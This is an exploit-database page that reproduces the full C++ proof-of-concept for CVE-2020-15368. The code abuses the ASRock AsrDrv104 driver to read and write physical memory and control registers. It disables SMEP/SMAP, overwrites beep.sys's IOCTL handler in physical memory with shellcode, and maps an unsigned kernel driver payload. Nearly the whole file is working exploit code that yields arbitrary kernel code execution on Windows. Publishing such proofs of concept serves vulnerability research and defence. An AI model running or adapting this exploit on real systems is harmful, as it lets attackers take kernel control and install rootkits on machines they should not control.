Exploit database

GH-01d7a06ec357cf584216b8088550d8a4

stong/cve-2020-15368

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2020-15368

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
stong/cve-2020-15368Revision 6a77ad7e6930

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/exploit.cpp

C++ · 24,855 bytes
#include <string>
#include <vector>
#include <unordered_map>
#include <Shlwapi.h>
#include <Windows.h>
#include <winternl.h>
#include <conio.h>

#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>

#include <intrin.h>

#include "proto.h"

// CHONST!!!!!!!!
#define chonstexpr constexpr
#define chonst const
#define reinterpret_chast reinterpret_cast

typedef uint64_t QWORD;

BYTE my_shellcode[0x1000];

void __declspec(noreturn) bye()
{
	printf("Press any key to exit\n");
	(void)_getwche();
	exit(0);
}

void hexdump(unsigned char* buf, size_t len)
{
	for (int i = 0; i < len; i++)
		printf("%02x ", buf[i]);
	printf("\n");
}



// struct stolen from https://githacks.org/_xeroxz/vdm/-/blob/master/VDM/util/util.hpp
#pragma pack (push, 1)
struct PhysicalMemoryPage//CM_PARTIAL_RESOURCE_DESCRIPTOR
{
	uint8_t type;
	uint8_t shareDisposition;
	uint16_t flags;
	uint64_t pBegin;
	uint32_t sizeButNotExactly;
	uint32_t pad;

	static chonstexpr uint16_t cm_resource_memory_large_40{ 0x200 };
	static chonstexpr uint16_t cm_resource_memory_large_48{ 0x400 };
	static chonstexpr uint16_t cm_resource_memory_large_64{ 0x800 };

	uint64_t size()chonst noexcept
	{
		if (flags & cm_resource_memory_large_40)
			return uint64_t{ sizeButNotExactly } << 8;
		else if (flags & cm_resource_memory_large_48)
			return uint64_t{ sizeButNotExactly } << 16;
		else if (flags & cm_resource_memory_large_64)
			return uint64_t{ sizeButNotExactly } << 32;
		else
			return uint64_t{ sizeButNotExactly };
	}

};
static_assert(sizeof(PhysicalMemoryPage) == 20, "PhysicalMemoryPage size wrong");
#pragma pack (pop)


struct physical_memory_layout_info_t {
	QWORD idk;
	QWORD idk2;
	ULONG count;
	PhysicalMemoryPage pmi[];
} *physical_memory_layout_info = NULL;

#pragma pack(push, 1)
struct ioctl_header
{
	WORD pad;
	DWORD iv_size;
	unsigned __int8 iv[21];
	unsigned __int8 key[16];
	unsigned __int8 pad2[3]; // alignment i guess
};

struct ioctl_footer
{
	DWORD cmd_size;
	WORD pad;
};
#pragma pack(pop)

size_t my_shellcode_data_sz = 0;
MyIrpStruct* my_shellcode_data = 0;

void PrepareIoctlData(void* cmd_in, size_t cmd_size, PVOID* pIoctl_data_out, size_t* buf_size_out)
{
	ioctl_header hdr;
	RtlZeroMemory(&hdr, sizeof(hdr));

	memset(hdr.iv, 0x69, sizeof(hdr.iv));
	memset(hdr.key, 0x69, sizeof(hdr.key));
	hdr.iv_size = sizeof(hdr.iv);

	//printf("input size is %zd\n", cmd_size);

	DWORD cbEncrypted;
	BYTE* my_cipher;
	{
		BCRYPT_ALG_HANDLE hAlgorithm;
		DWORD result = BCryptOpenAlgorithmProvider(&hAlgorithm, L"AES", 0i64, 0);// BCRYPT_AES_ALGORITHM
		//printf("BCryptOpenAlgorithmProvider -> %d\n", result);
		//printf("hAlgorithm = %p\n", hAlgorithm);

		BYTE enc_key[32];
		memset(enc_key, 0, sizeof(enc_key));
		memmove(enc_key, "C110DD4FE9434147B92A5A1E3FDBF29A", 32ui64);
		*(__m128i*)&enc_key[13] = _mm_loadu_si128((chonst __m128i*)hdr.key);

		HANDLE hKey;
		result = BCryptGenerateSymmetricKey(hAlgorithm, &hKey, 0i64, 0, enc_key, 0x20u, 0);
		//printf("BCryptGenerateSymmetricKey -> %d\n", result);

		BYTE* ivCopy = (BYTE*) malloc(hdr.iv_size);
		memcpy(ivCopy, hdr.iv, hdr.iv_size);

		size_t cipher_buf_size = cmd_size + 64; // Lmao.
		my_cipher = (BYTE*) calloc(1, cipher_buf_size);

		result = BCryptEncrypt(hKey, (BYTE*)cmd_in, cmd_size, 0, ivCopy, hdr.iv_size, my_cipher, cipher_buf_size, &cbEncrypted, BCRYPT_BLOCK_PADDING);

		//printf("BCryptEncrypt -> %x\n", result);
		//printf("We encrypted %d bytes\n", cbEncrypted);
	}

	size_t buf_size = sizeof(ioctl_header) + cbEncrypted + sizeof(ioctl_footer);
	BYTE* buf = (BYTE*) calloc(1, buf_size);
	memcpy(buf, &hdr, sizeof(hdr));
	memcpy(buf + sizeof(hdr), my_cipher, cbEncrypted);
	ioctl_footer* footer = (ioctl_footer*)(buf + buf_size - sizeof(ioctl_footer));
	footer->cmd_size = cbEncrypted;

	*pIoctl_data_out = buf;
	*buf_size_out = buf_size;
}

#if 0
void Crypto_test()
{
	
	ioctl_header ioctl_crypto_params;
	memset(&ioctl_crypto_params, 0x41, sizeof(ioctl_crypto_params));
	BYTE* my_plain = (BYTE*)"ayylmao123456___";

	BYTE enc_key[32];
	memset(enc_key, 0, sizeof(enc_key));
	memmove(enc_key, "C110DD4FE9434147B92A5A1E3FDBF29A", 32ui64);
	*(__m128i*)& enc_key[13] = _mm_loadu_si128((chonst __m128i*) &ioctl_crypto_params.iv[21]);


	BYTE my_cipher[64];
	DWORD cbEncrypted;

	BYTE* pbIV = ioctl_crypto_params.iv;


	
	//for (int i = 0; i < cbEncrypted; i++)
	//	printf("%02x ", my_cipher[i]);
	//printf("\n");


	BCRYPT_ALG_HANDLE hAlgorithm;
	BCryptOpenAlgorithmProvider(&hAlgorithm, L"AES", 0i64, 0);// BCRYPT_AES_ALGORITHM
	printf("halg = %x\n", hAlgorithm);

	HANDLE hKey;
	BYTE* key = enc_key;
	DWORD result = BCryptGenerateSymmetricKey(hAlgorithm, &hKey, 0i64, 0, key, 0x20u, 0);
	printf("BCryptGenerateSymmetricKey -> %d\n", result);

	BYTE* pbInput = my_cipher;
	DWORD cbInput = 32;
	DWORD cbOutput;
	result = BCryptDecrypt(hKey, pbInput, cbInput, 0i64, pbIV, cbInput, 0i64, 0, &cbOutput, BCRYPT_BLOCK_PADDING);
	printf("BCryptDecrypt 1 -> %d\n", result);
	printf("we want %d bytes\n", cbOutput);

	BYTE* pbOutput = (BYTE*)calloc(1, cbOutput);
	printf("buf = %p\n", pbOutput);

	DWORD cb_result;
	result = BCryptDecrypt(hKey, pbInput, cbInput, 0i64, pbIV, cbInput, (PUCHAR)pbOutput, cbOutput, &cb_result, BCRYPT_BLOCK_PADDING);
	printf("BCryptDecrypt 2 -> %x\n", result);

	printf("decrypted %d bytes\n", cb_result);

	for (int i = 0; i < cb_result; i++)
		printf("%02x ", pbOutput[i]);
	printf("\n");


	bye();
}
#endif

#pragma pack(push, 1)
union rweverything_args
{
	unsigned __int8 char_args[24];
	unsigned __int16 word_args[12];
	DWORD dword_args[6];
	uint64_t qword_args[3];
};

struct driver_cmd
{
	unsigned int opcode;
	int pad;
	rweverything_args args;
};
#pragma pack(pop)

HANDLE hDevice;
HANDLE hBeep;

BOOL DriverCall(DWORD opcode, rweverything_args* args, void** out, size_t* out_bytes)
{
	driver_cmd my_cmd;
	memset(&my_cmd, 0, sizeof(my_cmd));
	my_cmd.opcode = opcode;
	memcpy(&my_cmd.args, args, sizeof(rweverything_args));

	void* ioctl_data;
	size_t in_buf_size;
	PrepareIoctlData(&my_cmd, sizeof(my_cmd), &ioctl_data, &in_buf_size);

	//printf("input buf: %p\n", ioctl_data);
	//printf("input buf is %zx bytes\n", in_buf_size);

	DWORD bytes_returned = 0;

	BYTE out_buf[0x1000];
	memset(out_buf, 0x69, sizeof(out_buf));

	BOOL result = DeviceIoControl(hDevice, 0x22EC00, ioctl_data, in_buf_size, out_buf, sizeof(out_buf), &bytes_returned, NULL);
	//printf("result = %d\n", result);
	//printf("GetLastError = %x\n", GetLastError());
	//printf("bytes_returned = %x\n", bytes_returned);

	if (!result)
	{
		return result;
	}

	if (out)
	{
		*out = malloc(bytes_returned);
		if (out_bytes) *out_bytes = bytes_returned;
		memcpy(*out, out_buf, bytes_returned);
	}

	return result;
}

#define OPCODE_READ_CR 0x22E86C
#define OPCODE_WRITE_CR 0x22E870
#define OPCODE_READ_PHYSMEM 0x22E808
#define OPCODE_WRITE_PHYSMEM 0x22E80C

uint64_t ReadCrx(DWORD which)
{
	rweverything_args args;
	memset(&args, 0, sizeof(args));
	args.dword_args[0] = which;

	rweverything_args* out;
	DriverCall(OPCODE_READ_CR, &args, (void**)&out, NULL);

	uint64_t crX = out->qword_args[1];
	free(out);

	return crX;
}

void WriteCrx(DWORD which, uint64_t value)
{
	rweverything_args args;
	memset(&args, 0, sizeof(args));
	args.dword_args[0] = which;
	args.qword_args[1] = value;
	DriverCall(OPCODE_WRITE_CR, &args, NULL, NULL);
}

// bsods if you write to cr4
uint64_t DisableSmap()
{
	uint64_t cr4 = ReadCrx(4);
	printf("cr4 = %llx\n", cr4);

	uint64_t mask = (1 << 21) | (1 << 20); // SMAP and SMEP

	WriteCrx(4, cr4 & ~mask);
	//printf("smap + smep DISABLED!\n");

	return cr4; // return old value
}

BOOL ReadPhysical(uint64_t phys_addr, DWORD len, void* out_buf)
{
	rweverything_args args;
	memset(&args, 0, sizeof(args));
	args.qword_args[0] = phys_addr;
	args.dword_args[2] = len;
	args.dword_args[3] = 2; // granularity = DWORD
	args.qword_args[2] = (uint64_t)out_buf;
	return DriverCall(OPCODE_READ_PHYSMEM, &args, NULL, NULL);
}

BOOL WritePhysical(uint64_t phys_addr, DWORD len, void* in_buf)
{
	rweverything_args args;
	memset(&args, 0, sizeof(args));
	args.qword_args[0] = phys_addr;
	args.dword_args[2] = len;
	args.dword_args[3] = 0; // granularity = byte
	args.qword_args[2] = (uint64_t)in_buf;
	return DriverCall(OPCODE_WRITE_PHYSMEM, &args, NULL, NULL);
}

// page offset of our victim ioctl handler in beep.sys
QWORD ioctl_handler_pageOffset = 0x270;

BOOL found_ioctl = FALSE;

struct code_backup_t
{
	uint64_t phys_addr;
	BYTE page_contents[0x1000];
};

std::vector<code_backup_t> beepBackup;

void ScanPages(uint64_t start, uint64_t end)
{
	printf("Scanning memory at %p-%p\n", (void*)start, (void*)end);

	unsigned char beepPattern[53] = {
			0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8B, 0x82, 0xB8, 0x00, 0x00,
			0x00, 0x4C, 0x8B, 0xD2, 0x41, 0x8B, 0x40, 0x18, 0x2D, 0x00, 0x00, 0x01,
			0x00, 0x0F, 0x84, 0x63, 0x04, 0x00, 0x00, 0x83, 0xF8, 0x04, 0x0F, 0x85,
			0x4A, 0x04, 0x00, 0x00, 0x33, 0xC0, 0x41, 0x83, 0x78, 0x08, 0x08, 0x0F,
			0x82, 0x46, 0x04, 0x00, 0x00
	};

	size_t buf_size = 0x10000;
	size_t read_size = buf_size;
	BYTE* buf = (BYTE*)malloc(buf_size);
	if (!buf)
	{
		puts("Failed to allocate memory!");
		bye();
	}

	for (QWORD phys_addr = start; phys_addr < end;)
	{
		if (phys_addr % 0x100000 == 0)
		{
			printf("%p\r", (void*)phys_addr);
		}
		//printf("attempt to read phys mem at %p\n", (void*)phys_addr);
		BOOL success = ReadPhysical(phys_addr, read_size, buf);
		if (!success)
		{
			//printf("read at %p fails\r", (void*) phys_addr);
			if (read_size == buf_size)
			{
				read_size = 0x1000; // retry with one page
			}
			else if (read_size == 0x1000)
			{
				// even retrying with one page fails
				phys_addr += read_size;
				read_size = buf_size;
			}
			continue;
		}
		//printf("read %p success\n", (void*)phys_addr);
		for (int off = 0; off < read_size; off += 0x1000)
		{
			if (!memcmp(buf + off + ioctl_handler_pageOffset, beepPattern, sizeof(beepPattern)))
			{
				QWORD page_addr = phys_addr + off;
				QWORD beep_ioctl = page_addr + ioctl_handler_pageOffset;
				printf("\nFound beep.sys ioctl at %p\n", (void*)beep_ioctl);

				// back up the page contents (as we smash the original beep code, that will get called when our process closes beep handle).
				code_backup_t backup;
				backup.phys_addr = page_addr;
				memcpy(backup.page_contents, buf + off, 0x1000);
				beepBackup.emplace_back(backup);

				WritePhysical(beep_ioctl, 0x1000 - ioctl_handler_pageOffset, my_shellcode);
				found_ioctl = TRUE;
			}
		}
		phys_addr += read_size;
	}

	free(buf);
}

void ScanPhysical()
{
	Beep(440, 10);

	// 1. Scan physical memory for Beep.sys
	// 2. Overwrite the ioctl handler of Beep.sys in physical memory with our shellcode
	// 3. In shellcode we call ntoskrnl.exe!memcpy with controlled arguments (from IRP)
	// 4. Now we have arb write primitive
	// 5. then do the rest of the shit

	for (unsigned i = 0; i < physical_memory_layout_info->count; i++)
	{
		uint64_t start = physical_memory_layout_info->pmi[i].pBegin;
		uint64_t end = start + physical_memory_layout_info->pmi[i].size();
		ScanPages(start, end);
	}

	if (!found_ioctl)
	{
		printf("didn't find beep.sys\n");
		bye();
	}

	// lol xor eax,eax; mov cr3, rax
	//unsigned char shellcode[] = {
	//	0x31, 0xC0, 0x0F, 0x22, 0xD8,
	//};

	hexdump((BYTE*)my_shellcode_data, my_shellcode_data_sz);

	printf("ready kids?\n");

	fflush(stdout);
	_getwche();

	char out_buf[16]; // doesnt really matter
	DWORD bytes_returned;

	BOOL result = DeviceIoControl(hBeep, 0x1234, my_shellcode_data, my_shellcode_data_sz, out_buf, sizeof(out_buf), &bytes_returned, NULL);
	printf("trigger DeviceIoControl returns %d\n", result);

	// restore smashed beep code
	for (int i = 0; i < beepBackup.size(); i++)
	{
		WritePhysical(beepBackup[i].phys_addr, 0x1000, beepBackup[i].page_contents);
		printf("restored code at %p\n", (void*)beepBackup[i].phys_addr);
	}

	/*
	avoiding fault in windbg:
	
	0: kd> u MiShowBadMapper L20
nt!MiShowBadMapper:
fffff801`0a141ac4 48895c2410      mov     qword ptr [rsp+10h],rbx
fffff801`0a141ac9 48896c2418      mov     qword ptr [rsp+18h],rbp
fffff801`0a141ace 4889742420      mov     qword ptr [rsp+20h],rsi
fffff801`0a141ad3 57              push    rdi
fffff801`0a141ad4 4881ec90000000  sub     rsp,90h
fffff801`0a141adb 488b050e511600  mov     rax,qword ptr [nt!_security_cookie (fffff801`0a2a6bf0)]
fffff801`0a141ae2 4833c4          xor     rax,rsp
fffff801`0a141ae5 4889842480000000 mov     qword ptr [rsp+80h],rax
fffff801`0a141aed 8a1de7ad1900    mov     bl,byte ptr [nt!MiState+0x1eda (fffff801`0a2dc8da)]

	then write 2 to nt!MiState+0x1eda (fffff801`0a2dc8da
	eb  fffff801`0a2dc8da 2

	*/

	return;
}

void QueryPhysicalMemoryLayout()
{
	HKEY h_key;
	DWORD type, size = 0;
	RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
	RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
	if (!size)
	{
		printf("WTf can't open the key\n");
		bye();
	}
	BYTE* data = (BYTE*)malloc(size);
	RegQueryValueEx(h_key, ".Translated", NULL, &type, (BYTE*)data, &size);
	physical_memory_layout_info = (physical_memory_layout_info_t*)data;

	ULONG count = physical_memory_layout_info->count;
	if (!count)
	{
		printf("Query physical memory layout failed?\n");
		bye();
	}
	uint64_t total_pmem = 0;
	for (unsigned i = 0; i < count; i++)
	{
		uintptr_t end = physical_memory_layout_info->pmi[i].pBegin + physical_memory_layout_info->pmi[i].size();
		printf("%p - %p , type %02x , flags %04x , sharing %02x\n", (void*)physical_memory_layout_info->pmi[i].pBegin, (void*)end, physical_memory_layout_info->pmi[i].type, physical_memory_layout_info->pmi[i].flags, physical_memory_layout_info->pmi[i].shareDisposition);
		total_pmem += physical_memory_layout_info->pmi[i].size();
	}
	printf("you seem to have %.1f bytes physical memory mapped\n", (double)total_pmem/1e9);
}

std::unordered_map<std::string, uint64_t> whereTheKernelModulesAreAtYo;

BOOL APIENTRY LoadDriver_setup_shellcode_data(LPCSTR szPath) {
	int NonPagedPoolExecute = 0;

	LPVOID hFile = CreateFileA(szPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		puts("Invalid handle when map PE file");
		bye();
		return NULL;
	}

	HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, 0, 0, NULL);

	if (!hMapping) {
		puts("Cannot make file mapping");
		bye();
		return NULL;
	}

	LPVOID lpBase = (char*)MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
	if (!lpBase) {
		puts("Cannot make MapViewOfFile");
		bye();
		return NULL;
	}

	PIMAGE_DOS_HEADER image = (PIMAGE_DOS_HEADER)lpBase;
	if (image->e_magic != IMAGE_DOS_SIGNATURE) {
		puts("IMAGE_DOS_SIGNATURE not matched");
		bye();
		return NULL;
	}

	PIMAGE_NT_HEADERS pe = (PIMAGE_NT_HEADERS)((uintptr_t)lpBase + image->e_lfanew);
	if (pe->Signature != IMAGE_NT_SIGNATURE) {
		puts("IMAGE_NT_SIGNATURE not matched");
		bye();
		return NULL;
	}

	LPVOID mapping = VirtualAlloc(nullptr, pe->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	printf("mapping = %p size %x\n", mapping, pe->OptionalHeader.SizeOfImage);

	int num_sections = pe->FileHeader.NumberOfSections;
	IMAGE_SECTION_HEADER* hdr = (IMAGE_SECTION_HEADER*)((uintptr_t)&pe->OptionalHeader + pe->FileHeader.SizeOfOptionalHeader);

	// map the fuckeign sections! :)
	memcpy(mapping, image, pe->OptionalHeader.SizeOfHeaders);
	for (int i = 0; i < num_sections; i++, hdr++) {
		void* src = (void*)((uintptr_t)image + hdr->VirtualAddress);
		void* dst = (void*)((uintptr_t)mapping + hdr->VirtualAddress);
		size_t size = hdr->SizeOfRawData;
		memset(dst, 0, size);
		memcpy(dst, src, size);

		char name[9];
		name[8] = 0;
		memcpy(name, hdr->Name, 8);
		printf("we map section %s (fileoffset %x to va %x-%x)\n", name, hdr->PointerToRawData, hdr->VirtualAddress, (uintptr_t)hdr->VirtualAddress+size);
	}

	// resolve the importsss

	IMAGE_DATA_DIRECTORY* imports_dir_info = &pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
	printf("imports dir va = %x\n", imports_dir_info->VirtualAddress);

	if (imports_dir_info->VirtualAddress)
	{
		IMAGE_IMPORT_DESCRIPTOR* imports_dir = (IMAGE_IMPORT_DESCRIPTOR*)((uintptr_t)mapping + imports_dir_info->VirtualAddress);

		while (true)
		{
			if (imports_dir->Characteristics == 0)
			{
				printf("done\n");
				break;
			}

			PSTR moduleName = (PSTR)((uintptr_t)mapping + imports_dir->Name);

			printf("imports for %s\n", moduleName);

			HMODULE hModule = GetModuleHandleA(moduleName);

			if (!hModule)
			{
				hModule = LoadLibraryExA(moduleName, NULL, DONT_RESOLVE_DLL_REFERENCES | LOAD_LIBRARY_SEARCH_DEFAULT_DIRS);
			}

			if (!hModule)
			{
				printf("failed to map %s\n", moduleName);
				bye();
			}

			printf("%s at %p\n", moduleName, hModule);

			IMAGE_THUNK_DATA* importLookupTable = (PIMAGE_THUNK_DATA)((uintptr_t)mapping + imports_dir->OriginalFirstThunk);
			void** iat = (void**)((uintptr_t)mapping + imports_dir->FirstThunk);

			while (importLookupTable->u1.AddressOfData)
			{
				bool is_by_ordinal = importLookupTable->u1.AddressOfData >> 63;
				if (is_by_ordinal)
				{
					puts("Sorry import by ordinal isnt supportd xD");
					bye();
				}
				_IMAGE_IMPORT_BY_NAME* import_name = (_IMAGE_IMPORT_BY_NAME*)((uintptr_t)mapping + importLookupTable->u1.AddressOfData);
				PSTR name = import_name->Name;
				printf("do import %s\n", name);

				uintptr_t offset = (uintptr_t)GetProcAddress(hModule, name) - (uintptr_t)hModule;
				printf("%s = %p + %p\n", name, whereTheKernelModulesAreAtYo[moduleName], offset);
				uintptr_t resolved_import = whereTheKernelModulesAreAtYo[moduleName] + offset;
				*iat = (void*)resolved_import;

				importLookupTable++;
				iat++;
			}

			imports_dir++;
		}
	}

	// check relocs

	IMAGE_DATA_DIRECTORY* reloc_dir_info = &pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
	IMAGE_BASE_RELOCATION* relocs = (IMAGE_BASE_RELOCATION*)((uintptr_t)mapping + reloc_dir_info->VirtualAddress);

	uintptr_t basediff = (uintptr_t)mapping - pe->OptionalHeader.ImageBase;

	void* relocs_end = (void*)((uintptr_t)relocs + reloc_dir_info->Size);
	while (relocs < relocs_end)
	{
		ULONG va = relocs->VirtualAddress;
		USHORT* entries = (USHORT*)((uintptr_t)relocs + sizeof(IMAGE_BASE_RELOCATION));
		int num_entries = (relocs->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
		printf("page %x has %d relocs\n", va , num_entries);
		for (int i = 0; i < num_entries; i++)
		{
			USHORT entry = entries[i];
			USHORT reloc_type = entry >> 12;
			uintptr_t reloc_offset = (uintptr_t)(entry & 0xfff);
			if (reloc_type == IMAGE_REL_BASED_DIR64)
			{
				printf("IMAGE_REL_BASED_DIR64 at offset %x+%llx\n", va, reloc_offset);
			}
			else if (reloc_type == IMAGE_REL_BASED_ABSOLUTE)
			{
				printf("IMAGE_REL_BASED_ABSOLUTE at offset %x+%llx\n", va, reloc_offset);
			}
			else
			{
				printf("reloc type %d is NOT supported!\n", reloc_type);
				bye();
			}
		}
		relocs = (IMAGE_BASE_RELOCATION*)((uintptr_t)relocs + relocs->SizeOfBlock);
	}

	size_t payload_sz = pe->OptionalHeader.SizeOfImage;
	my_shellcode_data_sz = sizeof(MyIrpStruct) + payload_sz;
	my_shellcode_data = (MyIrpStruct*)malloc(my_shellcode_data_sz);
	if (!my_shellcode_data)
	{
		printf("malloc fails\n");
		bye();
	}
	memcpy(my_shellcode_data->payload, mapping, payload_sz);
	my_shellcode_data->payload_size = payload_sz;
	printf("fake irp handler data block size = %llx\n", my_shellcode_data_sz);

	return TRUE;
}

void Enum_kernel_modules()
{
	typedef NTSTATUS (*NtQuerySystemInformation_t)(
			SYSTEM_INFORMATION_CLASS SystemInformationClass,
			PVOID SystemInformation,
			ULONG SystemInformationLength,
			PULONG ReturnLength);

	NtQuerySystemInformation_t pNtQuerySystemInformation = (NtQuerySystemInformation_t) GetProcAddress(GetModuleHandleA("ntdll"), "NtQuerySystemInformation");

	chonstexpr int SystemModuleInformation = 0xb;
	ULONG bytes = 0;
	NTSTATUS status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, 0, bytes, &bytes);
	if (!bytes)
	{
		printf("NtQuerySystemInformation fails 1\n");
		bye();
	}

	typedef struct _SYSTEM_MODULE_ENTRY
	{
		HANDLE Section;
		PVOID MappedBase;
		PVOID ImageBase;
		ULONG ImageSize;
		ULONG Flags;
		USHORT LoadOrderIndex;
		USHORT InitOrderIndex;
		USHORT LoadCount;
		USHORT OffsetToFileName;
		UCHAR FullPathName[256];

	} 	SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;

	typedef struct _SYSTEM_MODULE_INFORMATION
	{
		ULONG               	ModulesCount;
		SYSTEM_MODULE_ENTRY		Modules[0];

	} 	SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

	PSYSTEM_MODULE_INFORMATION pMods = (PSYSTEM_MODULE_INFORMATION)malloc(bytes);
	RtlZeroMemory(pMods, bytes);
	status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, pMods, bytes, &bytes);
	if (status < 0)
	{
		puts("NtQuerySystemInformation fails 2");
		bye();
	}
	printf("there are %u modules\n", pMods->ModulesCount);

	for (unsigned i = 0; i < pMods->ModulesCount; i++)
	{
		chonst char* filename = PathFindFileNameA((chonst char*)pMods->Modules[i].FullPathName);
		whereTheKernelModulesAreAtYo[filename] = (uint64_t)pMods->Modules[i].ImageBase;
		printf("%s %016llx\n", filename, whereTheKernelModulesAreAtYo[filename]);
	}
}

void Get_kernel_offsets()
{


	uint64_t ntoskrnl_base = whereTheKernelModulesAreAtYo["ntoskrnl.exe"];

	if (!ntoskrnl_base)
	{
		printf("Can't find address of ntoskrnl.exe\n");
		bye();
	}

	printf("ntoskrnl at %p\n", ntoskrnl_base);

	HMODULE hNtoskrnl = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
	if (!hNtoskrnl)
	{
		puts("failed to map ntoskrnl");
		bye();
	}

#define DO_THE_NEEDFUL(x) (x) = (decltype(x))

	my_shellcode_data->ntoskrnl = (void*)ntoskrnl_base;

	void* memcpy = (void*)GetProcAddress(hNtoskrnl, "memcpy");
	my_shellcode_data->nt_memcpy = (void (*)(void* dst, void* src, size_t len)) (ntoskrnl_base + (uint64_t)memcpy - (uint64_t)hNtoskrnl);
	printf("nt!memcpy at %p\n", my_shellcode_data->nt_memcpy);

	void* ExAllocatePoolWithTag = (void*)GetProcAddress(hNtoskrnl, "ExAllocatePoolWithTag");
	my_shellcode_data->nt_ExAllocatePoolWithTag = (void* (*)(ULONG PoolType, SIZE_T NumberOfBytes, ULONG Tag)) (ntoskrnl_base + (uint64_t)ExAllocatePoolWithTag - (uint64_t)hNtoskrnl);
	printf("nt!ExAllocatePoolWithTag at %p\n", my_shellcode_data->nt_ExAllocatePoolWithTag);

	void* PsCreateSystemThread = (void*)GetProcAddress(hNtoskrnl, "PsCreateSystemThread");
	my_shellcode_data->nt_PsCreateSystemThread = (NTSTATUS(*)(PHANDLE ThreadHandle, ULONG DesiredAccess, void* ObjectAttributes, HANDLE ProcessHandle, void* ClientId, void* StartRoutine, PVOID StartContext)) (ntoskrnl_base + (uint64_t)PsCreateSystemThread - (uint64_t)hNtoskrnl);
	printf("nt!PsCreateSystemThread at %p\n", my_shellcode_data->nt_PsCreateSystemThread);

	void* IofCompleteRequest = (void*)GetProcAddress(hNtoskrnl, "IofCompleteRequest");
	my_shellcode_data->nt_IofCompleteRequest = (void*)(ntoskrnl_base + (uint64_t)IofCompleteRequest - (uint64_t)hNtoskrnl);
	printf("nt!IofCompleteRequest at %p\n", my_shellcode_data->nt_IofCompleteRequest);
}

void Get_shellcode()
{
	// Shellcode to allocate-copy-startthread shellcode
	HMODULE my_driver = LoadLibraryExA("MyDriver1.sys", NULL, DONT_RESOLVE_DLL_REFERENCES);
	printf("my_driver at %p\n", my_driver);
	if (!my_driver)
	{
		printf("failed to map MyDriver1.sys\n");
		bye();
	}
	void* shellcode = (void*) GetProcAddress(my_driver, "MyIRPHandler");
	printf("shellcode at %p\n", shellcode);
	memcpy(my_shellcode, shellcode, 0x1000);
	FreeLibrary(my_driver);
	//hexdump(my_shellcode, 0x1000);
}

int main()
{
	AddDllDirectory(L"C:\\Windows\\System32\\drivers");

	Enum_kernel_modules();
	LoadDriver_setup_shellcode_data("MyDriver1.sys");
	Get_kernel_offsets();
	Get_shellcode();

	//if (!memcpy_off)
	//{
	//	puts("failed to grab kernel offsets");
	//	bye();
	//}

	QueryPhysicalMemoryLayout();
	//bye();

	//Crypto_test();

	hBeep = CreateFileA("\\\\.\\GlobalRoot\\Device\\Beep", GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	printf("hBeep = %p\n", hBeep);

	if (hBeep == INVALID_HANDLE_VALUE)
	{
		printf("GLE = %x\n", GetLastError());
		bye();
	}

	hDevice = CreateFileA("\\\\.\\GlobalRoot\\Device\\AsrDrv104", GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	printf("hDevice = %p\n", hDevice);

	if (hDevice == INVALID_HANDLE_VALUE)
	{
		printf("GLE = %x\n", GetLastError());
		bye();
	}

	rweverything_args args;
	memset(&args, 0, sizeof(args));
	args.dword_args[0] = 3; // cr3
	args.qword_args[1] = 0; // lol cr3 <- NULL

	rweverything_args* out;
	DriverCall(OPCODE_READ_CR, &args, (void**) &out, NULL);

	ScanPhysical();

	bye();
}